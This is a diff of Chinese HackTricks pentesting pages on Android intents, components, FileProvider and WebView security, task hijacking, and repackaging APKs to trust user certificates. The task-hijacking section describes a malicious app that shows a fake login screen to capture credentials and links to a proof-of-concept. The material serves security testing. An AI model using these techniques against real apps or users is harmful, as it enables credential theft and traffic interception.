* 启动Activity通常打开应用程序的用户界面
* 作为广播,通知系统和应用程序发生的变化
* 启动、停止和与后台服务通信
* 通过ContentProviders访问数据
@ -164,11 +148,13 @@ HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞
不正确的实现可能导致数据泄露、调用受限函数和操纵程序流程。
### 意图过滤器
### 意图过滤器Intent-Filter
意图过滤器指定了一个活动、服务或广播接收器可以响应的意图类型。它指定了一个活动或服务可以做什么以及接收器可以处理哪些类型的广播。它允许相应的组件接收声明类型的意图。意图过滤器通常通过AndroidManifest.xml文件定义。对于广播接收器也可以在编码中定义它们。意图过滤器由其类别、操作和数据过滤器定义。它还可以包含其他元数据。
意图过滤器指定了**活动、服务或广播接收器可以响应的意图类型**。它指定了活动或服务可以执行的操作以及接收器可以处理的广播类型。它允许相应的组件接收声明类型的意图。意图过滤器通常是通过AndroidManifest.xml文件**定义的**。对于**广播接收器**,也可以在**编码中定义**。意图过滤器由其类别、操作和数据过滤器定义。它还可以包含其他元数据。
在安卓中,当`exported`设置为`true`时,活动/服务/内容提供程序/广播接收器是**公开的**,但如果清单文件为组件指定了意图过滤器,那么组件也是**公开的**。然而,开发人员可以通过在清单文件中为每个组件将`exported`属性设置为`false`来**显式地将组件设置为私有**,而不管任何意图过滤器。开发人员还可以通过设置`permission`属性来要求特定权限来访问组件,从而限制对组件的访问。
在Android中当**`exported`**设置为**`true`**时,活动/服务/内容提供程序/广播接收器是**公开的**,但是如果**清单文件为其指定了意图过滤器**,则组件也是**公开的**。然而,\
开发人员可以通过在清单文件中为每个组件将**`exported`**属性设置为**`false`****显式地将组件设置为私有**(无论是否存在任何意图过滤器)。\
开发人员还可以通过设置**`permission`**属性来**要求特定权限来访问**组件,从而限制对组件的访问。
### 隐式意图
意图是通过使用意图构造函数在程序中创建的:
@ -188,7 +174,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
一个intent-filter需要匹配**action**、**data**和**category**才能接收到消息。
"Intent resolution"过程确定了每个消息应该由哪个应用接收。这个过程考虑了**priority属性**,它可以在**intent-filter声明**中设置,**优先级较高的将被选择**。这个优先级可以在-1000到1000之间设置并且应用程序可以使用`SYSTEM_HIGH_PRIORITY`值。如果出现**冲突**,会出现一个"选择器"窗口,让**用户决定**。
"Intent resolution"过程确定了哪个应用程序应该接收每个消息。这个过程考虑了**priority属性**,它可以在**intent-filter声明**中设置,**优先级较高的将被选择**。这个优先级可以在-1000到1000之间设置并且应用程序可以使用`SYSTEM_HIGH_PRIORITY`值。如果出现**冲突**,会出现一个"选择器"窗口,让**用户决定**。
### 显式Intent
@ -204,39 +190,39 @@ context.startService(intent);
```
### Pending Intents
这些允许其他应用程序代表您的应用程序采取行动使用您的应用程序的身份和权限。构建一个Pending Intent时应指定一个意图和要执行的操作。如果声明的意图不是明确的没有声明哪个意图可以调用它恶意应用程序可以代表受害者应用程序执行声明的操作。此外如果未指定操作恶意应用程序将能够代表受害者执行任何操作。
这些允许其他应用程序代表您的应用程序执行操作使用您的应用程序的身份和权限。构建一个Pending Intent时应指定一个意图和要执行的操作。如果声明的意图不是明确的没有声明哪个意图可以调用它恶意应用程序可以代表受害者应用程序执行声明的操作。此外如果未指定操作恶意应用程序将能够代表受害者执行任何操作。
### Broadcast Intents
与之前的意图不同,只有一个应用程序接收到的意图,广播意图可以被多个应用程序接收。然而从API版本14开始可以使用Intent.setPackage来指定应该接收消息的应用程序。
与之前的意图不同广播意图可以被多个应用程序接收。然而从API版本14开始可以使用Intent.setPackage来指定应该接收消息的应用程序。
另外,发送广播时也可以指定权限。接收器应用程序将需要具有该权限。
广播有两种类型:正常(异步)和有序(同步)。顺序基于接收器元素中配置的优先级。每个应用程序可以处理、中继或丢弃广播。
广播有两种类型:普通(异步)和有序(同步)。顺序基于接收器元素中配置的优先级。每个应用程序可以处理、中继或丢弃广播。
可以使用Context类的sendBroadcast(intent, receiverPermission)函数发送广播。您还可以使用LocalBroadCastManager的sendBroadcast函数确保消息永远不会离开应用程序。使用这种方法,您甚至不需要导出接收器组件。
可以使用Context类的sendBroadcast(intent, receiverPermission)函数发送广播。您还可以使用LocalBroadCastManager的sendBroadcast函数确保消息永远不会离开应用程序。使用此功能,您甚至不需要导出接收器组件。
### Sticky Broadcasts
这种类型的广播可以在发送后很长时间内访问。这些在API级别21中已被弃用建议不要使用它们。它们允许任何应用程序嗅探数据但也可以修改数据。
如果找到包含"sticky"一词的函数如sendStickyBroadcast或sendStickyBroadcastAsUser请检查其影响并尝试删除它们。
如果您发现包含"sticky"一词的函数如sendStickyBroadcast或sendStickyBroadcastAsUser请检查其影响并尝试删除它们。
## Deep links / URL schemes
链接允许通过URL触发意图。应用程序可以在活动中声明一个URL模式因此每当Android设备尝试使用该模式访问地址时应用程序的活动将被调用
链接允许通过URL触发意图。应用程序可以在活动中声明一个URL模式因此每当Android设备尝试使用该模式访问地址时应用程序的活动将被调用
![](<../../.gitbook/assets/image (214).png>)
在这种情况下,模式是`myapp://`(还注意`category BROWSABLE`
在这种情况下,模式是`myapp://`(还注意`category BROWSABLE`
如果在`intent-filter`中找到类似以下内容:
如果在`intent-filter`中找到类似以下内容的内容
![](<../../.gitbook/assets/image (263).png>)
那么,它期望的是类似`http://www.example.com/gizmos`的东西
如果找到类似以下内容:
如果找到类似以下内容的内容
![](<../../.gitbook/assets/image (262).png>)
@ -254,9 +240,9 @@ context.startService(intent);
## AIDL - Android接口定义语言
Android接口定义语言AIDL允许您定义客户端和服务之间达成一致的编程接口以便使用进程间通信进行通信。在Android上一个进程通常无法访问另一个进程的内存。因此为了进行通信它们需要将对象分解为操作系统可以理解的原语并在此边界上对对象进行编组。编写执行此编组的代码很繁琐因此Android使用AIDL来处理
Android接口定义语言AIDL允许您定义客户端和服务之间达成一致的编程接口以便使用进程间通信进行通信。在Android上一个进程通常无法访问另一个进程的内存。因此为了进行通信它们需要将对象分解为操作系统可以理解的基本类型并在此边界上对对象进行编组。编写执行此编组的代码很繁琐因此Android使用AIDL来处理。
使用AIDL的服务称为绑定服务。在服务的类中您将找到`onBind`方法。这是交互开始的地方,因此是要检查的代码的初始部分,以寻找潜在的漏洞。
使用AIDL的服务称为绑定服务。在服务的类中您将找到`onBind`方法。这是交互开始的地方,因此是要检查的代码的初始部分,以寻找潜在的漏洞。
绑定服务是客户端-服务器接口中的服务器。它允许组件如活动绑定到服务发送请求接收响应并执行进程间通信IPC。绑定服务通常仅在为另一个应用程序组件提供服务时才存在并且不会无限期在后台运行。
@ -266,11 +252,11 @@ Messenger是另一种IPC机制。由于Messenger也是“绑定服务”
### Binder
直接调用Binder类很奇怪因为使用AIDL抽象了Binder类更容易。但是了解Binder是一个内核级驱动程序,它将数据从一个进程的内存移动到另一个进程的内存是很好的([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)
直接调用Binder类很奇怪因为使用AIDL抽象了Binder类更容易。但是了解Binder是一个在内核级别移动数据从一个进程的内存到另一个进程的驱动程序是很好的
## 组件
这些包括活动Activities、服务Services、广播接收器Broadcast Receivers和内容提供Providers
这些包括活动Activities、服务Services、广播接收器Broadcast Receivers和内容提供Providers
### 启动器活动和其他活动
@ -293,7 +279,7 @@ Android活动是Android应用程序用户界面的一个屏幕。在这种方式
```
请注意,**绕过活动保护并不总是漏洞**,您需要检查您已获得访问权限的数据。此外,**某些活动会将数据返回给调用者**。在这种情况下,您需要搜索**`setResult`**方法并检查传递给Intent参数的数据。**如果这是敏感数据,您可能存在信息泄露漏洞**,并且可以利用能够与活动通信的应用程序进行利用。
**活动的代码从`onCreate`方法开始**
**活动的代码从`onCreate`方法开始**
### 应用程序子类
@ -305,13 +291,13 @@ Android应用程序可以定义一个[Application](https://developer.android.com
[服务](https://developer.android.com/guide/components/services)在后台运行,没有用户界面。它们用于执行**长时间运行的进程,即使用户开始使用其他应用程序**。
它们可以通过各种方式启动,因此是应用程序的入口点。启动服务作为应用程序入口点的默认方式是通过**意图**。
它们可以通过各种方式启动,因此是应用程序的入口点。启动服务作为应用程序入口点的默认方式是通过**意图Intents**。
当调用**`startService`**方法启动服务时,服务中的**`onStart`**方法将被执行。它将无限期运行,直到调用**`stopService`**方法。如果只需要在客户端连接时使用服务,客户端应使用**`bindService`**方法进行“绑定”。
当调用**`startService`**方法启动服务时,服务中的**`onStart`**方法将被执行。它将无限期运行,直到调用**`stopService`**方法。如果只需要在客户端连接时使用服务,客户端应使用**`bindService`**方法进行“绑定”。
对于**绑定服务**(参见前一节),数据将传递给**`onBind`**方法。
例如,服务可以在用户位于不同应用程序时在后台播放音乐,或者可以在不阻塞与活动的用户交互的情况下从网络获取数据。
例如,服务可以在用户位于其他应用程序时在后台播放音乐,或者可以在不阻塞与活动的用户交互的情况下从网络获取数据。
**服务可以导出,允许设备上的其他进程启动服务**。默认情况下,服务不会导出,但可以在清单文件中进行配置:
```markup
@ -321,7 +307,7 @@ Android应用程序可以定义一个[Application](https://developer.android.com
广播可以被看作是一种消息系统,而**广播接收器则是监听器**。如果一个应用程序为特定的广播注册了接收器,当系统发送广播时,接收器中的代码将被执行。需要注意的是,在这种情况下,**多个应用程序可以接收相同的消息**。
有**两种方式**可以**注册接收器**:在应用程序的清单中或在应用程序的代码中使用**`registerReceiver`** API调用进行动态注册。在清单中可以通过在接收器元素中使用权限来限制接受的广播。当动态定义时可以将权限传递给`registerReceiver`方法。
有**两种方式**可以**注册接收器**:在应用程序的清单中注册或在应用程序的代码中使用**`registerReceiver`** API调用进行动态注册。在清单中可以通过在接收器元素中使用权限来限制接受的广播。当动态定义时可以将权限传递给`registerReceiver`方法。
在这两种情况下,都需要设置接收器的**意图过滤器**来注册接收器。这些意图过滤器是应该触发接收器的广播。
@ -340,7 +326,7 @@ Android应用程序可以定义一个[Application](https://developer.android.com
### 内容提供器
内容提供器是应用程序之间共享结构化数据(如关系数据库)的方式。因此,使用**权限**并设置适当的保护级别来保护它们非常重要。\
内容提供器是应用程序共享结构化数据(如关系数据库)的方式。因此,使用**权限**并设置适当的保护级别来保护它们非常重要。\
内容提供器可以使用**`readPermission`**和**`writePermission`**属性来指定应用程序必须具有的权限。**这些权限优先于权限属性**。\
此外,它们还可以通过将**`grantUriPermission`**设置为true然后在清单文件中的提供程序元素内配置适当的参数来**允许临时例外**。
@ -377,16 +363,16 @@ android:resource="@xml/filepaths" />
</provider>
```
请注意**`android:exported`**属性,如果它的值为**`true`**,外部应用程序将能够访问共享文件夹。\
请注意,配置项`android:resource="@xml/filepaths"`表示文件_res/xml/filepaths.xml_包含了**FileProvider**将要**共享**的**文件夹**的配置。以下是在该文件中指定共享文件夹的示例:
请注意,配置项`android:resource="@xml/filepaths"`表示文件_res/xml/filepaths.xml_包含了**FileProvider**将要共享的**文件夹**的配置。以下是在该文件中指定共享文件夹的示例:
```markup
<paths>
<files-path path="images/" name="myimages" />
</paths>
```
共享像 **`path="."`** 这样的东西可能是**危险的**,即使提供者没有被导出,如果代码的某个部分尝试访问这个提供者时存在其他漏洞。\
你可以使用 `content://com.example.myapp.fileprovider/myimages/default_image.jpg` 来访问该文件夹内的一个**图**。
你可以使用 `content://com.example.myapp.fileprovider/myimages/default_image.jpg` 来访问该文件夹内的一个**图**。
`<paths>` 元素可以有多个子元素,每个子元素指定一个不同的目录共享。除了 **`<files-path>`** 元素外,还可以使用 **`<external-path>`** 元素来共享外部存储中的目录,以及使用 **`<cache-path>`** 元素来共享内部缓存目录中的目录。\
`<paths>` 元素可以有多个子元素,每个子元素指定一个不同的目录进行共享。除了 **`<files-path>`** 元素外,还可以使用 **`<external-path>`** 元素来共享外部存储中的目录,以及使用 **`<cache-path>`** 元素来共享内部缓存目录中的目录。\
[有关特定文件提供者属性的更多信息,请点击此处。](https://developer.android.com/reference/androidx/core/content/FileProvider)
[在此处了解有关文件提供者的更多信息](https://developer.android.com/training/secure-file-sharing/setup-sharing)。
@ -395,7 +381,7 @@ android:resource="@xml/filepaths" />
WebViews 是嵌入到 Android 应用程序中的**网页浏览器**。\
WebViews 的内容可以来自远程站点,也可以是包含在应用程序中的文件。\
WebViews **容易受到影响任何网页浏览器的漏洞**。但是,有一些**配置**可以用来**限制**攻击**面**。
WebViews 受到影响任何网页浏览器的相同漏洞的**攻击**。但是,有一些**配置**可以用来**限制**攻击**面**。
Android 中有两种类型的 WebViews
@ -404,7 +390,7 @@ Android 中有两种类型的 WebViews
请注意,**WebView 浏览器无法访问本机浏览器的 cookie**。
可以使用 **`loadUrl`**、**`loadData`** 或 **`loadDataWithBaseURL`** 函数来加载 URL 或文件。**只能访问经过消毒的 URL 是很重要的**。\
可以使用 **`loadUrl`**、**`loadData`** 或 **`loadDataWithBaseURL`** 函数来加载 URL 或文件。**只能访问经过消毒处理的 URL 是很重要的**。\
WebView 的安全性可以通过 **`WebSettings`** 对象进行配置。\
例如,可以使用 **`setJavaScriptEnabled`** 方法将 JS 代码执行禁用为 **`false`** 值。这将**消除** XSS 和其他与 JS 相关的漏洞的可能性。
@ -412,7 +398,7 @@ JavaScript 的 "**Bridge**" 功能**将 Java 对象注入到 WebView 中,使
如果将 **`true`** 传递给 **`setAllowContentAccess`**,则 WebView 将能够通过 **`content://`** 方案访问内容提供者。这显然会带来安全风险。请注意,如果给予此访问权限,非常重要的是**确保** **`content://`** URL 是**安全的**。
默认情况下WebViews 可以通过 file:// URL 访问本地文件,但有几种方法可以防止这种行为:
默认情况下WebViews 可以通过 file:// URL 访问本地文件,但有几种方法可以阻止此行为:
* 将 **`false`** 传递给 **`setAllowFileAccess`**,防止访问文件系统,但允许通过 `file:///android_asset``file:///android_res` 访问资源。这些路径应仅用于非敏感数据(如图像),因此这应该是安全的。
* **`setAllowFileAccess`** 方法指示是否应该允许来自 `file://` URL 的路径能够访问其他文件方案 URL 的内容。
@ -438,31 +424,22 @@ MDM 或移动设备管理是用于在移动设备上**确保控制和安全要
通常MDM 解决方案执行诸如强制密码策略、强制加密存储和启用远程擦除设备数据等功能。
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProof 是所有加密漏洞赏金的家园。**
找到最重要的漏洞以便您可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**即时获得奖励**\
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后,您将获得奖励。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
**在 web3 渗透测试中积累经验**\
区块链协议和智能合约是新的互联网!掌握 web3 安全的崛起之日。
**成为 web3 黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占领每周排行榜的榜首。
[**在 HackenProof 上注册**](https://hackenproof.com/register) 开始从您的黑客行动中获利!
{% embed url="https://hackenproof.com/register" %}
***
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的公司广告吗?或者您想获得最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或在 **Twitter** **关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享的黑客技巧。**
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或在 **Twitter** 上关注我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享的黑客技巧。**
</details>

View file

@ -4,21 +4,29 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗?想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 任务、后台堆栈和前台活动
任务是用户在执行某个任务时与之交互的活动集合。这些活动按照打开每个活动的顺序排列在一个堆栈中,即**后台堆栈**。
在屏幕上**显示**的活动称为**前台活动**,其任务称为**前台任务**。一次只能**在屏幕上显示一个前台任务**。
在屏幕上**显示**的活动称为**前台活动**,其**任务**称为**前台任务**。一次只能**在屏幕上看到一个前台任务**。
这是一个简单的活动流程:
这是一简单的活动流程:
* 只有Activity 1在前台。
* 启动Activity 2将Activity 1推入后台堆栈。现在Activity 2在前台。
@ -47,7 +55,7 @@ Android通常管理多个任务
### 任务亲和性和启动模式
**任务亲和性**是在`AndroidManifest.xml`文件中的每个`<activity>`标签中定义的属性。它描述了一个活动倾向于加入哪个任务。\
**任务亲和性**是在`AndroidManifest.xml`文件中的每个`<activity>`标签中定义的属性。它描述了一个活动首选加入的任务。\
默认情况下,每个活动的亲和性与**包名**相同。
在创建我们的PoC应用程序时我们将使用这个属性。
@ -66,13 +74,13 @@ Android通常管理多个任务
* **如果活动实例已经存在**\
Android会恢复现有实例而不是创建新实例。这意味着在此模式下系统中最多只有一个活动实例。
* **如果需要创建新的活动实例**\
活动管理器服务AMS通过在所有现有任务中查找“**匹配**”任务来选择一个任务来托管新创建的实例。**如果一个活动“匹配”一个任务,它们具有相同的任务亲和性**。这就是为什么我们可以在我们的恶意/攻击者应用中指定与易受攻击应用相同的任务亲和性,以便它在他们的任务中启动而不是创建自己的任务。
活动管理器服务AMS通过在所有现有任务中查找“**匹配**”任务来选择一个任务来托管新创建的实例。**如果活动“匹配”任务,它们具有相同的任务亲和性**。这就是为什么我们可以在我们的恶意/攻击者应用中指定与易受攻击应用相同的任务亲和性,以便它在任务中启动而不是创建自己的任务。
* **未找到“匹配”任务**\
AMS会创建一个新任务并将新的活动实例为新创建任务的根活动。
AMS会创建一个新任务并将新的活动实例设置为新创建任务的根活动。
### 攻击
受害者需要在设备上安装**恶意应用**。然后,他需要在打开**易受攻击的应用**之前**打开**它**。然后,当**易受攻击的应用**被**打开**时,**恶意应用**将被**打开****代替**。如果这个恶意应用程序呈现与易受攻击应用相同的**登录界面****用户将无法知道他正在将凭据输入到恶意应用程序中**。
受害者需要在设备上安装**恶意应用**。然后,他需要在打开**易受攻击的应用**之前**打开**它**。然后,当**易受攻击的应用**被**打开**时,**恶意应用**将被**打开****代替**。如果这个恶意应用程序呈现与易受攻击应用相同的登录界面,**用户将无法知道他正在将凭据输入到恶意应用程序中**。
**您可以在此处找到实施的攻击:**[**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)
@ -85,13 +93,19 @@ AMS会创建一个新任务并将新的活动实例作为新创建任务的
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的公司广告吗或者您想获得PEASS的**最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

View file

@ -8,14 +8,21 @@
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
有些应用程序不喜欢用户下载的证书,所以为了检查某些应用程序的网络流量,我们实际上必须对应用程序进行反编译,添加一些内容并重新编译。
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
有些应用程序不喜欢用户下载的证书,因此为了检查某些应用程序的网络流量,我们实际上必须对应用程序进行反编译,并添加一些内容并重新编译它。
# 自动
@ -27,7 +34,7 @@
![](../../.gitbook/assets/img9.png)
然后,我们进入**Manifest.xml**文件并滚动到`<\application android>`标签,如果还没有,请添加以下行:
然后,我们进入**Manifest.xml**文件并向下滚动到`<\application android>`标签,如果尚未存在,则添加以下行:
`android:networkSecurityConfig="@xml/network_security_config`
@ -56,15 +63,22 @@
![](../../.gitbook/assets/img12.png)
最后,您只需要**签署新应用程序**。[阅读此页面的Smali部分 - 反编译/修改/编译,以了解如何签署](smali-changes.md#sing-the-new-apk)。
最后,您只需要**签署新应用程序**。[阅读此页面的Smali部分 - 反编译/修改/编译以了解如何签署](smali-changes.md#sing-the-new-apk)。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
查找最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)

View file

@ -1,25 +1,25 @@
# Android APK Checklist
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
